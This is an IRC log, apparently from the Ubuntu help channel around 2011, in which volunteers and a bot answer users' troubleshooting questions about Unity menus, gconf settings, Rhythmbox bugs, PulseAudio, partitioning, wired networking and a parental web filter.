[11:54] <tenX> Seven_Six_Two: multipointer?
[11:54] <Chepoll> I am sorry that I disconnected. Has anyone responded to my question in the mean time?
[11:55] <Seven_Six_Two> tenX, a cursor for each input device. 3 mice? you get 3 pointers. all usable at the same time
[11:55] <minimal> bazhang, ubottu, even when I select Comman line install it starts the text installation
[11:55] <minimal> How can I get acces to the CLI ??
[11:55] <Seven_Six_Two> for multihead setups? Freaking brilliant. 2 people can use a computer at the same time.
[11:55] <g4> maybe I don't understand, but isn't desktop-webmail going to give me a new entry under Prefered Applications for mail?
[11:56] <minimal> bazhang, ubottu, How can I get acces to the CLI ??
[11:56] <lampe2> hey iam copying a file and new he stands at about 30 % and i cant stop it how can i kill that ?
[11:56] <pzn> when will finish the support for server-10.04lts security updates?
[11:56] <tenX> Seven_Six_Two: ah thats what i was missing. 3 mice and 4 keyboards ;)
[11:56] <shcherbak> lampe2: Ctrl-z and kill %1
[11:56] <Debolaz> minimal: CTRL-ALT-T
[11:56] <syockit> pranav, on LTS, since many packages still depend on gtk2/gnome2, it's probably difficult to setup gnome3
[11:57] <shcherbak> lampe2: You mean in Gnome? xkill
[11:57] <cvam> I've read man pages but i cant find how to use  test command
[11:57] <bison> how to remove propriety drivers
[11:57] <greg_72> hi there, is there a log where I can see what commands were executed via ssh mymachine command?
[11:57] <Seven_Six_Two> tenX, if you run a school...or a computer camp, or a library, or an internet cafe, there are a lot of awesome reasons
[11:57] <lampe2> thx shcherbak nice tipp ;)
[11:58] <minimal> Debolaz, CTRL-ALT-T has no effect
[11:58] <Chepoll> okay, repeating question in that case : I tried to dpkg to change my keyboard layout and upon reboot, my internet connection was gone. It is wired and I did not have to input anything to connect before, even before the startx. Thank you...
[11:58] <syockit> karthick87, have you tried what shcherbak suggested? using gconf-editor?
[11:58] <pvh_sa> hey there, i'm trying to use texmaker with 11.04 and it seems the menus have vanished. the menu bar is there, but no menu items appear when a menu is selected. anyone seen something like this?
[11:59] <bazhang> pvh_sa, check the top panel, where the app name is, the menu should appear there
[11:59] <tenX> Seven_Six_Two: yeah you explained it earlier. couldnt think of any use myself and find the idea still very confusing ;) but i recognize other peoples needs
[11:59] <cvam> how to use test command
[11:59] <karthick87> syockit: Yes but it says "This key is not writable"
[11:59] <shcherbak> bison: jockey-text or jockey-gtk, follow instructions
[12:00] <pvh_sa> bazhang, nope, it doesn't. menu bar is there, but menus are empty
[12:00] <bazhang> pvh_sa, not the app panel, but the top of the screen
[12:00] <pvh_sa> bazhang, what's the app panel? i'm looking at the top of the screen
[12:01] <syockit> karthick87, just as I thought, somehow your gconf is probably not yours
[12:01] <bison> shcherbak: how do i use that
[12:01] <bazhang> pvh_sa, are you using unity? or gnome classic
[12:01] <pvh_sa> bazhang, unity
[12:01] <shcherbak> cvam: man test
[12:01] <plouffe> I have a pdf file with document scans which I need to crop and flip some of the pages. Any suggestions what to use? PDF Editor doesn't seem able to even load the document.
[12:01] <karthick87> syockit: Its mine, what i did before is i set the key to mandatory after that i am unable to use it..
[12:01] <AceKing> bazhang, do you know how to disable the "Recent Documents" in 11.04?
[12:01] <syockit> karthick87, if you do 'ls -l .gconf' from your home folder in your terminal,what do you get
[12:02] <plouffe> ^rotate some of the pages
[12:02] <bromium> i'm in desperate situation. please help me finally setup dansguardian on my kids' comp running lubuntu 10.10. done everything according to manuals - nothing works. please help
[12:02] <karthick87> syockit: karthick@karthick:~$ ls -l .gconf
[12:02] <karthick87> total 8
[12:02] <karthick87> drwx------ 26 karthick karthick 4096 2011-04-25 16:05 apps
[12:02] <karthick87> drwx------  3 karthick karthick 4096 2011-04-11 14:02 desktop
[12:02] <FloodBot1> karthick87: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[12:03] <syockit> karthick87, sorry for not telling you about pastebin
[12:03] <syockit> karthick87, okay, it does belong to you
[12:04] <bazhang> pvh_sa, no idea about texmaker then, all the other apps I use have that feature
[12:04] <trap22> How can I update my exiting RythmBox to next stable version using terminal ?
[12:04] <bazhang> trap22, the latest one out?
[12:04] <trap22> bazhang: yes:
[12:05] <bazhang> trap22, you don't as ubuntu is not a rolling release distro
[12:05] <minimal> ubottu, Any ideas ?
[12:05] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[12:05] <trap22> bazhang: the volume seeker of rythmbox 0.12.8 in the default LTS installation is buggy. I just want to install the newer one.
[12:06] <pvh_sa> plouffe, pdftk will do the flipping for you... and here's a suggestion for cropping which might or might not work: http://konrad.familie-kieling.de/computer/34-linux/63-crop-pdfs
[12:06] <syockit> minimal, that's a nice way of pinging ubottu
[12:06] <plouffe> pvh_sa, thanks. Will have a look
[12:06] <trap22> bazhang: any idea ?
[12:06] <html_inprogress> how do iinstall 3d accelaction?
[12:06] <syockit> trap22, if you're lucky, you can find one in PPA. rhythmbox has lots of gnome dependencies if I'm not mistaken
[12:06] <bazhang> trap22, then search for a PPA I suppose, but that is 100% unsupported and at your own risk
[12:07] <minimal> syockit, thanks
[12:07] <bazhang> html_inprogress, via additional drivers
[12:07] <hechu> hi, I met a problem about X frozen, when I want to report a bug by apport-bug, it told me try to find a result here. could anybody tell me how to report a bug to lunchpad.net ?
[12:07] <trap22> syockit: bazhang: which player do you guys use ?
[12:08] <syockit> karthick87, can you remove ~/.gconf/desktop/gnome/background? do 'rm -r .gconf/desktop/gnome/background' from your home folder in terminal
[12:08] <bazhang> trap22, for music? there are a ton to choose from
[12:08] <syockit> karthick87, oh, you don't have to paste the result
[12:08] <bazhang> !players | trap22
[12:08] <ubottu> trap22: Audio (Ogg, MP3...) players: Audacious, Banshee, Listen, Quod Libet, Rhythmbox, Exaile, XMMS2 (GTK/Gnome based) and Amarok, JuK (Qt/KDE based).  Video players: Totem, Xine, MPlayer, VLC, Kaffeine - See also !codecs
[12:08] <syockit> trap22, i'm not the music-listener type, but right now I have rhythmbox installed with my Unity-based 11.04
[12:09] <syockit> trap22, I remember using Audacious when I was in Jackalope
[12:09] <html_inprogress> how do i enable it/
[12:10] <bazhang> html_inprogress, system administration additional drivers check there
[12:10] <karthick87> syockit:  Yes i did that
[12:10] <html_inprogress> i got nothing , to install,
[12:10] <syockit> karthick87, and then try to set background again in Appearance
[12:10] <bazhang> html_inprogress, what card
[12:11] <trap22> syockit: bazhang: syockit weird, you don't listen to music. anyways i'm downloading this .tar.gz of rythembox 0.13, i need to overwrite the existing one.
[12:11] <DocPlatypus> okay... 00:1f.5 Multimedia audio controller: Intel Corporation 82801AA AC'97 Audio Controller (rev 02) <-- I'm stuck with this for sound. I keep having pulseaudio wedge and I wind up with "dummy output" for my audio device. I'm trying to write music on this machine, so this is a major problem; I really need to figure out how to keep this from happening. Should I just get rid of pulseaudio completely?
[12:11] <karthick87> syockit:  No change
[12:11] <orange1> hi all  - trying to get workrave going in unity - it used to be an applet - pointers would be appreciated....
[12:12] <syockit> karthick87, this time, in gconf-editor, does /desktop/gnome/background point to anything?
[12:12] <DocPlatypus> kernel is 2.6.32-31-generic, 10.04 LTS
[12:12] <karthick87> syockit:  The key is not writable yet
[12:13] <syockit> karthick87, now that would be strange
[12:13] <trap22> downloaded this "executable-mynotex-amd64_1.1.4.tar.gz" which contains a single executable file called mynotex, but it wont run after extraction ??
[12:13] <syockit> trap22, not a directory?
[12:14] <trap22> syockit: yes, not a directory, just a executable file
[12:14] <trap22> executable (application/x-executable)
[12:14] <DocPlatypus> okay... in general, how does one fix problems with pulseaudio up and wedging?
[12:14] <DocPlatypus> in 9.10 I'd kill pulseaudio and it would sort everything out.
[12:14] <syockit> trap22, what does it output in terminal? maybe it segfaulted
[12:15] <trap22> syockit:  cannot execute binary file
[12:16] <trap22> ubottu: lol
[12:16] <ubottu> Please don't use "LOL" and "OMG" and so forth on a regular basis. This is IRC, not IM, and using those lines on their own is not required, and it is rather annoying to the rest of the people in the channel; thanks.
[12:16] <DocPlatypus> trap22: file mynotex -- what does this say?
[12:17] <trap22> DocPlatypus: mynotex: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.4.0, stripped
[12:17] <DocPlatypus> trap22: ldd mynotex -- does it look sane?
[12:17] <syockit> trap22, yay it happily runs on my 32-bit! Yeehaw!
[12:18] <trap22> DocPlatypus: 	        not a dynamic executable
[12:18] <DocPlatypus> hmmm
[12:18] <syockit> trap22, might be corrupted download. redownload, it's small, worth the try
[12:18] <DocPlatypus> I'm with syockit, corrupted file is most likely
[12:19] <DocPlatypus> any pulseaudio/sound problem gurus have any insight? should I repeat my problem?
[12:19] <syockit> karthick87, can you 'gedit ~/.gconf/desktop/gnome/background/%gconf.xml' and see if you can save the file?
[12:21] <malcolmvs> Has anyone had Skype performance issues on Ubuntu desktop 10.04?
[12:22] <trap22> bazhang: which has the best sound quality. i mean sound corrections or sth like that :?
[12:22] <fire> f
[12:25] <exe_> Ubuntu 11.04 doesn't support NVidia graphic cards? I get "This driver is activated but not currently in use" error on GeForce 7025. Fixes from google (reinstalling all drivers) don't help.
[12:25] <jwtiyar> i get all new packaeges in upgrade to 11.04 ,now its installing upgardes if i disconnect the internet will damage upgrade or produce error?
[12:26] <jwtiyar> i get all new packaeges in upgrade to 11.04 ,now its installing upgardes if i disconnect the internet will damage upgrade or produce error?
[12:27] <ryankask> hi all. when I drag a window to the top corner in classic mode, and the arrow goes to the toolbar, an orange outline of the window expands and the window maximizes. how can i stop this?
[12:27] <syockit> trap22, XMMS2 is actually a player daemon/server, which needs a client to interface with, and has loads of installable plugins for you to play with, for the best hellish customization
[12:27] <DocPlatypus> jwtiyar: if the downloading is done, *most* packages don't need a network connection to configure. there are a few that do though
[12:28] <Kre10s> no way to change partition from ext2 to ext4 without loosing data?
[12:28] <jwtiyar> DocPlatypus, it gets all packages now its isntalling upgrades
[12:28] <red2kic> Kre10s: Make a backup first.
[12:29] <red2kic> Kre10s: In fact, make a backup of a backup too.
[12:30]  * Kre10s has no mediums large enough...
[12:31] <Kre10s> can I rersize the partition, make a new one, move the data, delete the previous, and resize the new one to full size?
[12:31] <syockit> trap22, if you're lucky, you might get the plugins you want for audacious. I don't know just what "audacious-plugins" package provides. It lists many audio output, and at the end has this "And many more!" line that makes me wonder. It may or may not contain the "31-band EQ"
[12:31] <red2kic> Kre10s: Purchase. Borrow. Steal.
[12:31] <red2kic> Kre10s: Hard drives are inexpensive.
[12:32] <trap22> syockit: ok, i will install audacious'
[12:32] <red2kic> Kre10s: Because if you're not serious, you'll experience the loss of all your precious data. There are one of the bad feelings in the whole world. :\
[12:32] <Gnea> !ppa
[12:32] <ubottu> A Personal Package Archive (PPA) can provide alternate software not normally available in the offical Ubuntu repositories - Looking for a PPA? See https://launchpad.net/ubuntu/+ppas - WARNING: PPAs are unsupported third-party packages, and you use them at your own risk.
[12:33] <red2kic> Kre10s: You could try -- but there are always risk associated with partitioning.
[12:33] <DocPlatypus> Kre10s: whichever way you do it, make a backup first. always.
[12:33] <DocPlatypus> I learned this from having Partition Magic for OS/2 up and take a dump on me once.
[12:35] <red2kic> DocPlatypus: And you felt great? :P
[12:35] <Tuplad> desktopcouch-service is taking up 100% CPU, anyone else having this problem ? Googled, but no solution fond.
[12:35] <DocPlatypus> red2kic: ha. no. I lost no-telling-what
[12:35] <syockit> by the way trap22, does that rhythmbox volume slider bug have a bug page in launchpad? Is it fixed? If so, maybe someone could put a backport patch
[12:36] <DocPlatypus> of course this was in the day that a 3 gig hard drive was *huge* and 1.44 meg floppy drives were the typical backup medium unless you bought a tape drive or a $&#*load of Zip disks
[12:36] <Kre10s> thanks all!
[12:36] <trap22> syockit: yes, i am searching
[12:36] <red2kic> I lost about 250GB.
[12:38] <shcherbak> In other hand he could become very skilled in data recovery.
[12:38] <jemark> syockit, which version of rhythmbox?
[12:38] <trap22> syockit: https://bugs.launchpad.net/ubuntu/+source/rhythmbox/+bug/472985
[12:38] <trap22> but how to  put a backport patch ?
[12:38] <ubottu> Ubuntu bug 472985 in rhythmbox (Ubuntu) "Rhythmbox consistently crashes when adjusting app volume [Karmic] (dup-of: 455421)" [Medium,Invalid]
[12:38] <ubottu> Ubuntu bug 455421 in gstreamer0.10 (Ubuntu) "rhythmbox crashed with SIGSEGV in g_object_set()" [Medium,Triaged]
[12:38] <trap22> jemark: 0.12.8
[12:39] <vadim_> привет
[12:39] <jemark> trap22, i use 2.90.1
[12:39] <Rehan> I'm having a problem with GRUB. I made a duplicate image of my laptop's ubuntu install onto a USB flash drive, now when I try to boot from the USB flash drive on the laptop, even if I select the grub entry that points to my USB drive, it still loads the version on the laptop's hard drive unless I edit the grub entry and change the set root=UUID=' ' area to the /dev/sdb1 (where the usb image is). Could anyone help please?
[12:39] <LjL> !ru | vadim_
[12:39] <ubottu> vadim_: Пожалуйста посетите #ubuntu-ru для получения помощи на русском языке  / Pozhalujsta posetite /join #ubuntu-ru dlya polucheniya pomoshi na russkom yazyke
[12:40] <Tuplad> desktopcouch-service is taking up 100% CPU, anyone else having this problem ? Googled, but no solution fond.
[12:40] <Guest8353> !ru | vadim_
[12:40] <vadim_> Есть русские?
[12:40] <trap22> jemark: :(, been in isolation
[12:40] <miha> hello where could i get some help for openoffice?
[12:41] <gribouille> hi
[12:42] <bazhang> miha, try #openoffice.org
[12:42] <trap22> jemark: where is version 2.90.1? http://ftp.gnome.org/pub/gnome/sources/rhythmbox/0.13/
[12:42] <gribouille> I have a problem with kmix
[12:42] <gribouille> kmix freezes constantly
[12:42] <miha> bazhang: i figured that much thx :)
[12:43] <syockit> trap22, it seems that upstream has it fixed. The patch is somewhere in https://bugzilla.gnome.org/show_bug.cgi?id=166020 . You may request someone with technical debian knowledge to try apply patch to glib package
[12:43] <ubottu> Gnome bug 166020 in gobject "use GAtomic for refcounting" [Normal,Resolved: fixed]
[12:44] <Chepoll> I tried to trace the origin of my problem with not being able to connect to internet. Apparently I am missing the file "var/run/dbus/system_bus_socket", which all of the network managers are dependant on
[12:44] <Chepoll> What should I do?
[12:45] <trap22> syockit: huh!!
[12:45] <Tuplad> desktopcouch-service is taking up 100% cpu after upgrade. how to fix ?
[12:46] <trap22> jemark: is there really 2.90.1. I need to download it ?
[12:46] <miha> bazhang: is that .. active channel? there are folks there but nobody writes anything
[12:46] <syockit> trap22, yup, that difficult to get things fixed. maybe I can try, I need to set up my build service first. It's been a long time since fixing debian packages
[12:47] <sunil> I got this page https://help.ubuntu.com/community/LiveCDCustomization, but I want to customize Server DVD, anyone have any idea.
[12:48] <Flannel> sunil: https://help.ubuntu.com/community/InstallCDCustomization
[12:49] <jemark> trap22, http://www.ubuntuupdates.org/packages/show/305974
[12:50] <Seven_Six_Two> I downloaded 11.04 iso. mounted loop. tried to import packages in to apt-cacher, but only 24 were found. ls -R | grep deb   shows 24. Where are all of the debs? Mounted /ubuntu/casper/filesystem/squashfs and grepped again, but no debs. Where does the installer get them from??
[12:50] <jemark> trap22, base is 0.13.3
[12:51] <trap22> jemark: it belongs to Gnome 3
[12:51] <Magva> народ, видно мои сообщения?
[12:51] <Chepoll> I'm sorry but is this the channel for ubuntu-help or am I supposed to go somewhere else to ask questions?
[12:51] <jemark> trap22, yes, like i said
[12:52] <syockit> trap22, btw by tracing the bug reports, the problem seems to reside in glib
[12:52] <__Alex_> Chepoll: you can ask here
[12:52] <miha> Chepoll: this is kind of general help, if nobody answers, nobody knows
[12:52] <xmaz> Chepoll: just ask what you need :P
[12:52] <Dr_Willis> Seven_Six_Two:  i think you may want to use the alternative installer cd  if you arwe wanting to upgrade, not from the internet, but from the cd.
[12:53] <trap22> syockit: yes, i should see the glib updaets
[12:53] <__Alex_> It would be cool if ubuntu had a installer like Debian has.
[12:53] <syockit> trap22, have you enabled the backports repo?
[12:53] <Dr_Willis> I never noticed anything special about debians installer. :)
[12:53] <trap22> syockit: no
[12:54] <__Alex_> It's not special, but cool
[12:54] <tushar> hi
[12:54] <mintelle> Hello, world
[12:54] <Dr_Willis> Ive seen so many variants in 'linux os installers' it would take a lot to impress me. :)
[12:54] <Seven_Six_Two> Dr_Willis, I'd do a straight upgrade, but I already downloaded the iso. I'll repack from the live, and it should be ok
[12:54] <syockit> try enable it a bit, update repo once, and see if libglib2 or rhythmbox is upgradable
[12:55] <tushar> IRC is weird
[12:55] <__Alex_> tushar: Why?
[12:55] <Dr_Willis> tushar:  irc has been around since the 1980's also. :)
[12:55] <syockit> bazhang, is backports safe to enable in LTS?
[12:55] <Dr_Willis> tushar:  i find the other IM clients/methods weird.
[12:55] <Seven_Six_Two> apt made it's name when people pulled their hair out because of rpm's dependency hell
[12:55] <bazhang> __Alex_, alternate installer is known as debian installer
[12:56] <__Alex_> Aha!
[12:56] <tushar> Hey doc : dont you think its complicated??
[12:56] <Dr_Willis> tushar:  irc? No...
[12:56] <Chepoll> Well then I'm going to be repeating my question... My internet connection was gone upon reboot and I have done nothing to trigger it. When I try to manually start network managers, they output an error saying "system_bus_socket" file is missing. I don't know what to do. Thank you...
[12:56] <bazhang> tushar, #ubuntu-offtopic please
[12:56] <bazhang> syockit, I'd never use them, no
[12:57] <__Alex_> Is there a Ubuntu 'Netinst' cd?
[12:57] <Dr_Willis> Chepoll:  you may want to clarify Wired or wireless, and how its connecting exactly
[12:57] <Dr_Willis> !netinstall
[12:57] <ubottu> Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall - Don't want to use a CD? See http://tinyurl.com/3exghs - See also !automate
[12:57] <bazhang> __Alex_, the minimal installer
[12:57] <Chepoll> Wired
[12:57] <bazhang> !minimal | __Alex_
[12:57] <ubottu> __Alex_: The Minimal CD image is very small in size, and it downloads most packages from the Internet during installation, allowing you to select only those you want (the installer is like the one on the !Alternate CD). See https://help.ubuntu.com/community/Installation/MinimalCD
[12:57] <AlexGer> hello #ubuntu i have problems installing Zentyal 32bit AND Ubuntu Server edition 32bit 10.04 TLS. During installation i receive the following errormessage: http://pastebin.com/gTXqsHab Thank's for your help! Alex
[12:57] <tushar> still weird
[12:57] <bazhang> tushar, please, this is not the chat channel
[12:58] <Chepoll> >	Well then I'm going to be repeating my question... My internet connection was gone upon reboot and I have done nothing to trigger it. When I try to manually start network managers, they output an error saying "system_bus_socket" file is missing. I don't know what to do... It is wired and I didn't have to input anything to get it working in the first place.
[12:58] <cassio> hi. I'm using 11.04. I installed dropbox and it is working fine, but the tray icon is not showing up. if I do dropbox stop and then start it shows up... any idea how can I get it automatically? althought it doesn't show it is working in the background
[12:58] <tushar> ok
[12:58] <Chepoll> Dr_Willis: ok now?
[12:58] <bazhang> Chepoll, whats the chipset, what does ifconfig show paste.ubuntu.com with ifconfig and lspci
[12:58] <mintelle> Please recommend a chat channel. Most of the "most online"-chats is related with ubuntu, from one website.
[12:58] <__Alex_> tushar: BTW, what client you use? Xchat works great! Try it!
[12:59] <bazhang> !alis | mintelle
[12:59] <ubottu> mintelle: alis is a services bot that can help you find channels. Read "/msg alis help list" for help and ask any questions about it in #freenode. Example usage: /msg alis list #ubuntu*
[12:59] <Chepoll> bazhang: 1 sec, doing so, I will have to manually type the output so give me a minute
[12:59] <mintelle> XChat? There is a very low number of people online over there.
[12:59] <Pici> !ot | mintelle
[12:59] <ubottu> mintelle: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[12:59] <bazhang> mintelle, /join #freenode for that
[12:59] <tushar> :|
[12:59] <__Alex_> I am using Xchat right now
[12:59] <tushar> oops sorry... no chat right
[12:59] <mintelle> I will, thanks. :-)
[13:00] <ashmew2> Hi , how do i make sure my Ubuntu installation is using USB 2.0+ ?
[13:00] <bazhang> ashmew2, the hardware?
[13:01] <ashmew2> bazhang: umm ?
[13:01] <__Alex_> ashmew: It's all in the kernel! If your kernel is abive 2.6.32, then you're good
[13:01] <ashmew2> i forgot the command to check kernel version , pointer pls ?
[13:01] <Pici> ashmew2: uname -a
[13:01] <__Alex_> uname -r
[13:01] <evoain> how do i register a new username
[13:02] <__Alex_> adduser
[13:02] <LjL> !register | evoain
[13:02] <ubottu> evoain: Information about registering your nickname: https://help.ubuntu.com/community/InternetRelayChat/Registration - Type « /nick <nickname> » to select your nickname. Registration help available by typing /join #freenode
[13:02] <ashmew2> 2.6.38.. :D Thanks
[13:02] <magica> halo
[13:02] <LjL> evoain: oh wait you don't mean on freenode?
[13:02] <magica> hello
[13:02] <magica> good night
[13:02] <qw> hello how is u?
[13:03] <qw> i try to apt-get uninstall but no work in synaptic
[13:03] <evoain> too complicated
[13:04] <Dazzled1> hmm, I'm under the impression that Natty boots significantly slower then 10.10
[13:04] <qw> apt-get help
[13:04] <Dazzled1> also when shutting down, seems to take afes
[13:04] <qin> qw: sudo apt-get remove <package name>
[13:04] <LetsGo67> Hey room!  Ubuntu is not quite my cup of tea.  It's difficult with two monitors!  Some of my desktop icons are missing.  Can anyone help please?
[13:04] <qw> ok thx
[13:04] <Pici> qw: We need more information than that.  What are you trying to uninstall? Why isn't it working?
[13:04] <Pici> [B[B
[13:04] <magica> haha nice can use ubuntu
[13:04] <coz_> Dazzled1,  I think it is likely due to hardware differences,,  is this a desktop or laptop?
[13:04] <Dazzled1> LetsGo67: using TwinView or Seperate X?
[13:04] <__Alex_> Dazzled1: Not to say ubuntu is Bad at any way, ubuntu is great! But it is slow
[13:05] <Dazzled1> coz_: laptop, 10.10 was lightning fast
[13:05] <DannyButterman> Hi there. Does anyone here use Phatch on ubuntu ?
[13:05] <degreefkurt> nox
[13:05] <__Alex_> Dazzled1: Try to install XFCE
[13:05] <__Alex_> and remove Gnome
[13:05] <LetsGo67> Dazzled: *Unity*, sorry, is not my cup of tea.  It's the built-in monitor manager.  i set it up so the mouse "goes" from my laptop screen to my 19' 4x3 screen.
[13:05] <degreefkurt> bestaat staat er een patch
[13:06] <coz_> Dazzled1,   not surprising,, even though most of the developers use laptops... 11.04  has exhibited different boot  speeds and glitches on several systems I have installed it on
[13:06] <__Alex_> !xubuntu | Dazzled1
[13:06] <ubottu> Dazzled1: Xubuntu is Ubuntu with Xfce instead of !GNOME. More info at http://www.xubuntu.org and http://wiki.ubuntu.com/Xubuntu/ - To install from Ubuntu: « sudo apt-get install xubuntu-desktop » - Join #xubuntu for support - See also: !Ubuntu and !Xubuntu-Channels
[13:06] <degreefkurt> thanks
[13:06] <Chepoll> bazhang: lspci output is very long for me to type letter by letter. Can you tell me what entry you are looking for so I can check for it
[13:06] <ali_> what is the Ctl+del+alt equivalant in ubuntu please?
[13:07] <bazhang> Chepoll, the wired chipset
[13:07] <coz_> Dazzled1,   give it about a month,,, most glitches should have been worked out by then,  although  ,, 10.04  was LTS,, and until 12.04,, I would consider every version inbetween,, experimental
[13:07] <Dr_Willis> ali_:  alt-ctrl-sysreq-k  I belive
[13:07] <Dr_Willis> !dontzap
[13:07] <ubottu> To re-enable the Ctrl-Alt-Backspace combination that restarts your X server see https://wiki.ubuntu.com/X/Config/DontZap
[13:07] <__Alex_> ali_ ctrl+alt+Function keys
[13:07] <Dazzled1> coz_: true
[13:07] <evoain> Is there anyway i can work with ansi c in ubuntu
[13:07] <miha> ali_: ctrl-alt-f1 to change to terminal (ctrl-alt-f7 to change back to graphics mode)..when you are in terminal ctrl-alt-delete works :D
[13:07] <bromium> still no luck with dansguardian & privoxy
[13:08] <Dr_Willis> ali_:  it may be alt-ctrl-sysreq-r to reboot. k to kill X..    I for get the ohter magic keys
[13:08] <bromium> all porn sites can be accessed, what am i doing wrong?
[13:08] <miha> bromium: stop looking at that porn
[13:08] <exe_> Ubuntu 11.04 doesn't support NVidia graphic cards? I get "This driver is activated but not currently in use" error on GeForce 7025. Fixes from google (reinstalling all drivers) don't help.
[13:08] <LetsGo67> Dazzled1: *Unity*, sorry, is not my cup of tea. It's the built-in monitor manager. i set it up so the mouse "goes" from my laptop screen to my 19' 4x3 screen.
[13:08] <LetsGo67> Dr_Willis: Are you a PHD?
[13:08] <coz_> bromium,  oo you mean they  "can't"  be accessed?
[13:08] <pranav> LetsGo67: PPhD
[13:09] <coz_> LetsGo67,   yes  the "love" doctor  :)
[13:09] <evoain> LetsGo67 : Please don't chat like this.
[13:10] <bromium> i mean "can", dansguardian+privoxy is a web control filter
[13:10] <pranav> evoain: is there a fun channel for Ubuntu users ?
[13:10] <bromium> i don't wanna my kids access porn sites
[13:10] <pranav>  is there a fun channel for Ubuntu users ?
[13:10] <degreefkurt> ja
[13:10] <Pici> pranav: #ubuntu-offtopic
[13:10] <Chepoll> bazhang: ethernet controller is Realtek something something, do you want the specifics or is it another entry I am looking for?
[13:10] <coz_> bromium,  unless you somehow inadvertently  installed or enabled some setting in firefox  I cant think of a site that is restricted
[13:10] <ali_> can anyone name a good user reference book for ubuntu that comares command with windows?
[13:10] <evoain> #ubuntu-offtopic
[13:10] <coz_> bromium,   open firefox and go to it's settings  and check there
[13:10] <pranav> Pici: i' on
[13:10] <bazhang> Chepoll, need the exact chipset
[13:11] <tyreza> hello there
[13:11] <tyreza> i got ubuntu on my pc
[13:11] <dr0id> hi there
[13:11] <dr0id> I got ubuntu
[13:11] <dr0id> on my pc
[13:11] <tenX> ali_: you mean windows shell commands?
[13:11] <bromium> coz_: i've installed dansguardian + privoxy (if these na,es tell you something) to prevent accessing "bad" sites
[13:11] <bromium> but it doesn't work for some reason
[13:11] <pranav> tyreza: we all, so we belong to this base :P
[13:11] <degreefkurt> jaja
[13:11] <dr0id> and my team mate can access
[13:11] <Chepoll> bazhang: Ethernet controller: realtex semiconductor co ltd rtl 8111/8168B prci express gigabit ethernet controller (rev01)
[13:11] <LetsGo67> !libreoffice
[13:11] <ubottu> Current stable releases of Ubuntu use OpenOffice.org, and do not have supported packaging for LibreOffice. Ubuntu developers are working on packaging for Ubuntu Natty and backports for 10.10 and 10.04. See https://lists.ubuntu.com/archives/ubuntu-devel/2011-January/032298.html for more information on progress and an unstable, unsupported PPA.
[13:11] <dr0id> so
[13:11] <coz_> bromium,  ah ok,, there;'s  your answer then,, I dont know anything about that though
[13:12] <LetsGo67> Someone update the bot please!
[13:12] <pranav> tyreza: nearly 1700 of us.
[13:12] <dr0id> say if my team mate is accessing it, can I know that he is accessing it at that point of time ?
[13:12] <Chepoll> bazhang: **realtek
[13:12] <qin> dr0id: w
[13:12] <Chepoll> bazhang: **realtek
[13:12] <dr0id> qin: ?
[13:12] <Chepoll> bazhang: **pci
[13:12] <tyreza> well my question is : i got ubuntu on my pc with 3 other pc runing on ubuntu too on a same network, i got my hard disk serial number
[13:12] <tyreza> of one that 3 computer
[13:13] <Pici> LetsGo67: You can submit an update yourself: https://wiki.ubuntu.com/IRC/Bots
[13:13] <qin> dr0id: w to see users (who), iftop to have live connections listed
[13:13] <ali_> tenx:yes
[13:13] <dr0id> hmmm
[13:13] <tyreza> my question is simply from the ubuntu cli how identify my hard disk presence in which pc ?
[13:14] <degreefkurt> jme a ask santing
[13:14] <LetsGo67> Pici: Too much for me.  :|
[13:14] <LetsGo67> Why did Ubuntu copy Mac OS X a lot?
[13:14] <tyreza> who get my questioN ?
[13:14] <degreefkurt> hox doe a instal video gams wiet ubuntu
[13:15] <tenX> ali_: i remember some kind of guide from back in the days, like 1999 or so. you know win shell and are new to linux?
[13:15] <LetsGo67> tyreza: i got part of it.
[13:15] <crystal-cola> Can I put ubuntu back to normal?
[13:15] <ramshot> Greets. I'm having some trouble with Unity. When it merges the software tool bar with the top bar, it seems to be leaving out some of the menu items. For example, Zend studio is missing "File" and "Help". And there are items missing even under the menus that are there. Seems strange to me, a bug or a setting?
[13:15] <Pici> !classic | crystal-cola
[13:15] <LetsGo67> degreefkurt: sudo apt-get install supertuxkart tuxkart supertux xbill
[13:15] <ubottu> crystal-cola: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[13:15] <crystal-cola> thanks!
[13:15] <zvacet> LetsGo67:  that is good question but wrong address
[13:15] <tyreza> simply i got 3 pc runing on ubuntu, i need to find one of my hard disk location, so i got my hard disk serial number how to identify my hard disk in which computer ?
[13:15] <ali_> tenx:yes you are right
[13:16] <blackbit> why empathy often do not show in the launcher'
[13:16] <tyreza> all 3 computer are in same network
[13:16] <jmrkill3rgh0st> hi
[13:16] <LetsGo67> !pidgin
[13:16] <ubottu> The Instant Messenger client Pidgin (formerly Gaim) (http://help.ubuntu.com/community/Pidgin) supports MSN, XMPP (Jabber, GTalk and variants), AIM, Gadu-Gadu, Novell Groupwise, ICQ, YIM, IRC and others. See also !Kopete
[13:16] <Chepoll> !netinstall
[13:16] <ubottu> Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall - Don't want to use a CD? See http://tinyurl.com/3exghs - See also !automate
[13:17] <degreefkurt> ok thanks
[13:18] <LetsGo67> Can you have very weak computers and one very strong computer and the weak computers use the strong computer to work?
[13:18] <tyreza> hello
[13:18] <tyreza> what up ? there is no answer
[13:18] <Chepoll> bazhang: sorry, forgot to attach the ifconfig. Ifconfig for eth0 ::: link encap:ethernet hwaddr 00:1e:......
[13:19] <Chepoll> sorry for the early enter
[13:19] <tenX> ali_: cant really supply a guide but you will like linux terminals. the win cmd is a joke compared to it
[13:19] <DannyButterman> LetsGo67: yes you can, you can use XDMPC for instance
[13:19] <Pici> tyreza: I personally don't understand what you are asking.
[13:19] <zvacet> LetsGo67:  do you mean something like cluster
[13:19] <LetsGo67> Bye bye!
[13:19] <tyreza> very simple my question Pici let me explain you again
[13:19] <ali_> tenx:ok thanks
[13:19] <bazhang> Chepoll, what does sudo dhclient eth0    show? ie does it get a lease or not
